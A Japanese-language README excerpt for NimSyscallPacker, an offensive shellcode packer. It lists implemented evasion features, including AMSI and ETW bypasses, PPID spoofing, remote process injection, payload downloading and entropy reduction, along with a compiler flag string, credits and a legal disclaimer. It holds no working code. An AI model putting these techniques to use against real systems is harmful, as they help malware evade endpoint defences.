- [X] Sleep Hook による Shellcode メモリ暗号化 [ShellcodeFluctuation のような](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] プロセス作成後、EDR のフックが読み込まれた後に 'GetConsoleWindow' と 'ShowWindow' Windows 関数を呼び出し、GUI コンパイルフラグの代わりにウィンドウ属性を非表示に変更する
- [X] 潜在的にクリティカルなスタブの合間にスリープを追加
- [X] インジェクション前にスポーンするカスタムリモートプロセスを定義(現時点では notepad がハードコード)
- [X] 新しく作成されたプロセスに対する PPID スプーフィング
- [X] 新しいプロセスに対する BlockDLLs
- [X] パッチレス AMSI バイパス(例: https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] NtCreateSection フックによる AMSI バイパス(例: https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] EtwNotificationRegister、EtwEventRegister、EtwEventWriteFull に対する追加の ETW パッチ
- [X] https://github.com/enthus1ast/nimWindowsService/ のようなサービスバイナリサポート
- [X] プロセスアタッチを伴う DLLMain 用 DLL ハイジャックスイッチ
- [X] x86 キャストバグの修正
- [ ] Wow64 サポート
- [X] 間に `--pump` null バイトを追加(https://gitlab.com/ORCA000/entropyfix と同様)(テストが必要、クラッシュする可能性あり)
- [X] CPL 出力ファイル
- [ ] デコイ HTTP リクエストオプション
- [X] 埋め込み(デフォルト)の代替として、Web サーバーから Shellcode をダウンロードするか、ローカルファイルから読み取る
- [X] 関数 IoC を回避しサイズを削減するために、より多くのコンパイラフラグを使用して dynlib を上書きする `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll`
- [X] リモートプロセスインジェクション用に OpenProcess の代わりに複製ハンドルを使用(Handlekatz ライク)、またはハンドル昇格の代替として
- [X] ハンドル昇格
- [X] リモートインジェクション用の ThreadlessInject を追加
- [ ] https://github.com/lem0nSec/CreateRemoteThreadPlus の Nim ポートによるリモートインジェクション用コールバック実行プリミティブを追加
- [X] ペイロードを MAC アドレスまたは IP アドレスとして保存し、実行時に暗号化ペイロードを取得してエントロピーを低減
- [X] メモリスキャン検出を回避するために、スレッド開始アドレスに異なるリージョン用の複数ジャンプを追加(DripLoader ライク)(https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)
## CREDITS
- [X] [@WhyDee86](https://twitter.com/WhyDee86) - Sleep 関数 + リモートプロセスライブラリモジュール + ハードコード引数の初期コード
- [X] [@chvancooten](https://twitter.com/chvancooten) - カスタム strenc + 彼の Nim Packer からの着想
- [X] [@lefayjey](https://github.com/lefayjey) - DLL 出力 + CNA スクリプトの貢献
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - Donut
- [X] [@icyguider](https://github.com/icyguider) - 着想
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - 1 バイト AMSI / ETW パッチ + サンドボックス回避のアイデア
- [X] [glynx](https://github.com/glynx) - Nim-RunPE のハードコード引数に関するプルリクエスト
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EdgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate、Docker ファイル
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - Stomb+Threadless インジェクションのアイデア
- [X] [DrDv](https://github.com/DrorDvash) - コマンドラインジェネレータ
## 法的免責事項:
事前の相互同意なしに NimSyscallPacker を使用してターゲットを攻撃することは違法です。適用されるすべての地域、州、連邦の法律を遵守するのはエンドユーザーの責任です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。教育目的でのみ使用してください。